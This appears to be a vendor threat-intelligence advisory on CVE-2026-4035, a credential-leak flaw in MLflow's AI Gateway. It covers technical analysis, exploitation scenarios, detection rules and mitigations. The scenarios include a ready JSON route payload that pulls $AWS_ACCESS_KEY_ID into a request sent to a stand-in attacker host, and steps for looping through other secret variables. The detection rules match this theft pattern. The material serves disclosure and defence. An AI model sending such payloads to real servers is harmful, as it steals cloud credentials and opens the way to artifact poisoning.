CVE-2026-4035

Executive Summary

CVE-2026-4035 is a critical environment variable resolution vulnerability in mlflow/mlflow versions prior to 3.11.0. The flaw allows attackers to exfiltrate sensitive server-side environment credentials by abusing the $ENV_VAR reference capability in AI Gateway secret api_key fields. MLflow deployments expose this to low-privileged authenticated users in basic-auth configurations or unauthenticated users in default deployments, with a CVSS score of 9.1 (Critical) due to high confidentiality and integrity impact with no user interaction required. Successful exploitation can leak cloud artifact credentials such as AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY, enabling artifact poisoning and potential cross-boundary code execution.

Technical Analysis

The vulnerability resides in the AI Gateway secret handling mechanism introduced in MLflow's gateway service. The affected component processes gateway secret configurations containing an api_key field. The flaw stems from insufficient input validation: the gateway secret resolver accepts shell-style environment variable references (e.g., $ENV_VAR, ${ENV_VAR}) within the api_key value without sanitization or allowlisting.

During runtime, when a gateway route is invoked, the MLflow server resolves these $ENV_VAR references against its own process environment. The resolved values are then embedded directly into provider authentication headers (Authorization: Bearer <resolved_value>) and transmitted to the configured upstream api_base endpoint. Critically, the api_base itself is attacker-controlled in the same gateway route configuration, meaning the resolved secrets are sent to an endpoint the attacker owns.

The attack surface includes:

1. Basic-auth deployments: Any authenticated user with low privileges (e.g., a user with permission to create or modify gateway routes) can exploit the flaw.
2. Default deployments without basic-auth: MLflow's default configuration does not require authentication, making any unauthenticated network attacker able to reach the gateway API capable of exploitation.

The vulnerable code path follows:

1. Attacker creates or updates a gateway route via the /api/2.0/gateway/routes endpoint (or equivalent Gateway API).
2. In the api_key field of the provider config, the attacker supplies a reference such as $AWS_ACCESS_KEY_ID.
3. The api_base field is set to an attacker-controlled URL (e.g., https://attacker.example.com/collect).
4. When the gateway route is exercised, MLflow resolves $AWS_ACCESS_KEY_ID from the server's environment.
5. The resolved value is sent in the Authorization header to https://attacker.example.com/collect.

The issue is classified under CWE-201 (Insertion of Sensitive Information Into Sent Data). The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N highlights the network accessibility, low attack complexity, low privilege requirement, and scope change (impact extends beyond the vulnerable component to downstream cloud environments). The confidential and integrity impacts are both high; availability is not impacted.

Patch confidence is rated 2/4 (CLAIMED) — a single source (OSV) claims the fix in version 3.11.0, but this has not been independently confirmed via vendor advisory or public changelog. Affected versions are listed as empty in the CVE data, though the description states "versions prior to 3.11.0" are vulnerable.

Exploitation Scenarios

Scenario 1 — Unauthenticated exploitation in default deployment:

1. Reconnaissance: Attacker scans for exposed MLflow instances using Shodan or masscan with queries such as "mlflow" combined with port 5000/5001 or the MLflow Gateway UI fingerprint. The Gateway API endpoint (/api/2.0/gateway/routes) is probed to confirm accessibility.

2. Route Creation: Attacker sends an unauthenticated HTTP POST to /api/2.0/gateway/routes with a JSON payload:

   {
     "name": "malicious-route",
     "route_type": "llm/v1/chat",
     "model": {
       "provider": "openai",
       "name": "gpt-4",
       "config": {
         "api_key": "$AWS_ACCESS_KEY_ID",
         "api_base": "https://attacker-controlled.example.com/collect"
       }
     }
   }
   

   The api_key field does not contain a literal key but a reference to the server's environment variable.

3. Trigger: Attacker executes a chat completion request against the newly created route:

   POST /api/2.0/gateway/routes/malicious-route/invocations
   Content-Type: application/json
   {"messages": [{"role": "user", "content": "ping"}]}
   

4. Exfiltration: MLflow resolves $AWS_ACCESS_KEY_ID from its environment, places the value in the Authorization: Bearer <AKIA...> header, and forwards the request to the attacker's endpoint. The attacker captures the header and obtains valid AWS credentials.

5. Post-exploitation: The attacker uses the stolen AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY to access the MLflow artifact store (e.g., S3 bucket). They poison model artifacts with malicious code. When downstream consumers load models from the MLflow registry, the poisoned artifacts execute arbitrary code in the consumer's environment, achieving cross-boundary code execution.

Scenario 2 — Authenticated low-privilege exploitation in basic-auth deployment:

1. Reconnaissance: Attacker obtains low-privilege credentials (e.g., via phishing or credential stuffing) and authenticates to the MLflow Gateway API.

2. Route Creation: Attacker submits the same route creation request as above, but with api_key set to $DATABRICKS_TOKEN or $MLFLOW_TRACKING_TOKEN to exfiltrate additional server credentials.

3. Repeat exfiltration: The attacker iterates through environment variable names ($AWS_SECRET_ACCESS_KEY, $GOOGLE_APPLICATION_CREDENTIALS_CONTENT, $AZURE_STORAGE_KEY, etc.) by creating multiple routes, each targeting a different environment variable, sending them all to the same attacker-controlled endpoint.

4. Post-exploitation: With cloud credentials in hand, the attacker moves laterally into cloud environments, potentially accessing production datastores or launching further attacks against ML infrastructure.

Impact Assessment

The vulnerability carries a CVSS base score of 9.1 (Critical) with the following subscores:

• Attack Vector: Network — Exploitable from anywhere with network access to the MLflow server.
• Attack Complexity: Low — No special conditions or race conditions required.
• Privileges Required: Low — Authenticated low-privilege users in basic-auth deployments; unauthenticated in default deployments.
• User Interaction: None — No victim action required.
• Scope: Changed — The compromise extends beyond the MLflow server to connected cloud environments (AWS, Azure, GCP) and downstream consumers of ML artifacts.

Business impact scenarios:

• Credential leakage: Exposure of AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other secrets from the hosting environment leads to direct cloud account compromise.
• Artifact poisoning: With artifact store access, attackers can replace legitimate ML models with malicious versions. Any application or pipeline that loads these models will execute attacker-controlled code — this is a supply chain attack vector affecting all downstream consumers.
• Data breach: Exfiltrated credentials to cloud storage may grant access to training data, customer data, or proprietary models.
• Reputational damage: For MLOps platform providers, a credential-leakage vulnerability erodes trust in the platform's security posture.

Blast radius: Any MLflow deployment versioned below 3.11.0 that exposes the Gateway API is vulnerable. The probability of exploitation is moderate given the EPSS score of 0.00435 (35.8th percentile), but the criticality of the impact warrants immediate attention for exposed instances.

Detection Guidance

Sigma Rule

title: MLflow Gateway Route Creation with Environment Variable in API Key
id: c24c4c3a-8b1f-4e5d-9f2a-1b3c4d5e6f7a
status: experimental
description: Detects creation of MLflow gateway routes where the API key field contains an environment variable reference, indicating attempted credential exfiltration via CVE-2026-4035.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4035
author: Valtersit Threat Intelligence
date: 2026/02/14
logsource:
    category: application
    product: mlflow
detection:
    selection:
        event.action: create_route
    keywords:
        - 'api_key.*\$[A-Z_]+'
        - 'api_key.*\$\{[A-Z_]+\}'
    condition: selection and keywords
falsepositives:
    - Legitimate use of environment variable references in MLflow configuration if a monitoring system shadows these requests
level: high

YARA Rule

rule MLflow_CVE_2026_4035_APIKey_EnvVar_Exfil
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects MLflow gateway route payloads containing environment variable references in api_key fields"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-4035"
        date = "2026-02-14"
        score = 90
    strings:
        $api_key = "api_key" ascii wide
        $env_dollar = "$" ascii wide
        $env_upper = /[A-Z_]{2,32}/ ascii wide
        $route_path = "gateway/routes" ascii wide
        $api_base = "api_base" ascii wide
        $provider = "provider" ascii wide
    condition:
        all of them and #env_upper > 2
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT MLflow CVE-2026-4035 Environment Variable in Gateway API Key"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"gateway/routes"; nocase; http.request_body; content:"api_key"; nocase; pcre:"/"api_key"\s*:\s*"[^"]*\$\{?[A-Z_]{2,32}\}?"/Ui"; sid:20264035; rev:1; classtype:attempted-user; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-4035; metadata:created_at 2026_02_14, updated_at 2026_02_14;)

Elastic Detection

sequence with maxspan=5m
  [ network where event.type == "start" and network.protocol == "http"
    and http.request.method == "POST"
    and url.path contains "gateway/routes"
    and request.body.text matches "(?i)\"api_key\"\\s*:\\s*\"[^\"]*\\$[A-Z_]" ]
  [ network where event.type == "start" and network.protocol == "http"
    and http.request.body.content matches "(?i)\"api_base\"\\s*:\\s*\"https?://[^\"]*" ]

Splunk SPL Query

index=web sourcetype=access_combined_wcookie
| where method="POST"
| where uri_path LIKE "%gateway/routes%"
| regex _raw="(?i)\x22api_key\x22\s*:\s*\x22[^\x22]*\$[A-Z_]+"
| regex _raw="(?i)\x22api_base\x22\s*:\s*\x22https?://[^\x22]+"
| table _time, clientip, uri, user, _raw
| eval indicator="CVE-2026-4035_exploit_candidate"
| stats count by clientip, uri, user, indicator

Wazuh OSSEC Rule

<group name="mlflow,">
  <rule id="100635" level="15">
    <if_sid>common</if_sid>
    <field name="url" type="pcre2">(?:gateway/routes)</field>
    <field name="method" type="pcre2">POST</field>
    <regex>(?i)"api_key"\s*:\s*"[^"]*\$[A-Z_]+</regex>
    <description>MLflow CVE-2026-4035: Environment variable reference in gateway api_key - potential credential exfiltration attempt.</description>
    <group>exploit, mlflow, credential_access,</group>
    <mitre>
      <id>T1552.001</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED. A single source (OSV) indicates the fix is present in mlflow version 3.11.0, but this has not been independently confirmed via vendor advisory or changelog verification. Proceed with caution and validate the fix independently.

Immediate mitigations (no patch applied):

1. Disable AI Gateway: If the gateway feature is unused, disable or deactivate the MLflow Gateway service entirely (MLFLOW_GATEWAY_URI unset, or block access to gateway endpoints).
2. Network isolation: Place MLflow instances behind a reverse proxy with strict allow-lists for source IPs. Do not expose the Gateway API to the internet.
3. Enable basic-auth: If not already enabled, enable MLflow's basic authentication to require at least some level of credential possession. This reduces the attack surface from unauthenticated to authenticated-only users.
4. Environment hygiene: Review the environment variables available to the MLflow server process. Remove or rotate any credentials not strictly required at runtime (e.g., do not expose cloud artifact keys to the same process as the Gateway service).

Patch/upgrade steps:

1. Upgrade mlflow to version 3.11.0 or later from PyPI (pip install --upgrade mlflow) or the appropriate package manager for your distribution.
2. After upgrading, verify the fix by creating a test gateway route with api_key: "$TEST_VAR" and confirming the value is not resolved. Confirm the request fails or the variable is treated as a literal.
3. If 3.11.0 is not yet available (given the 2/4 patch confidence), pin to a version that includes the fix once independently confirmed. Monitor OSV and NVD for updated patch information.

Long-term hardening:

1. Secrets management: Store API keys in a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) with fine-grained access policies. Avoid injecting all environment variables into the MLflow server process.
2. Egress filtering: Deploy network egress controls (firewall rules, AWS Security Groups, GCP firewall rules) to prevent the MLflow server from reaching unauthorized external endpoints. This limits exfiltration channels even if the vulnerability is triggered.
3. Least privilege: Run MLflow with a dedicated service account that has only the permissions required — do not run it with cloud instance roles that have broad artifact store access.
4. Continuous monitoring: Deploy the Sigma/Suricata/Elastic detections provided above to alert on exploitation attempts. Regularly audit gateway route configurations for unexpected entries.
5. Patch cadence: Subscribe to mlflow security advisories and OSV feeds to receive timely notifications for future vulnerabilities.

Additional note: The CISA KEV listing status is NO, and no public PoC or exploit-in-the-wild evidence exists at the time of writing. However, the low complexity of exploitation combined with the critical severity suggests this should be treated as a high-priority remediation target.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-4035
2. OSV Entry (patch source): https://osv.dev/vulnerability/CVE-2026-4035
3. MLflow Official Repository: https://github.com/mlflow/mlflow
4. CWE-201 Details: https://cwe.mitre.org/data/definitions/201.html
5. CVSS Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Known threat actor campaigns: No public evidence of active exploitation or campaign activity has been identified at the time of publication. The EPSS score of 0.00435 (35.8th percentile of exploited CVEs) indicates low current exploitation probability, but the absence of public PoC does not preclude adversary use in targeted operations.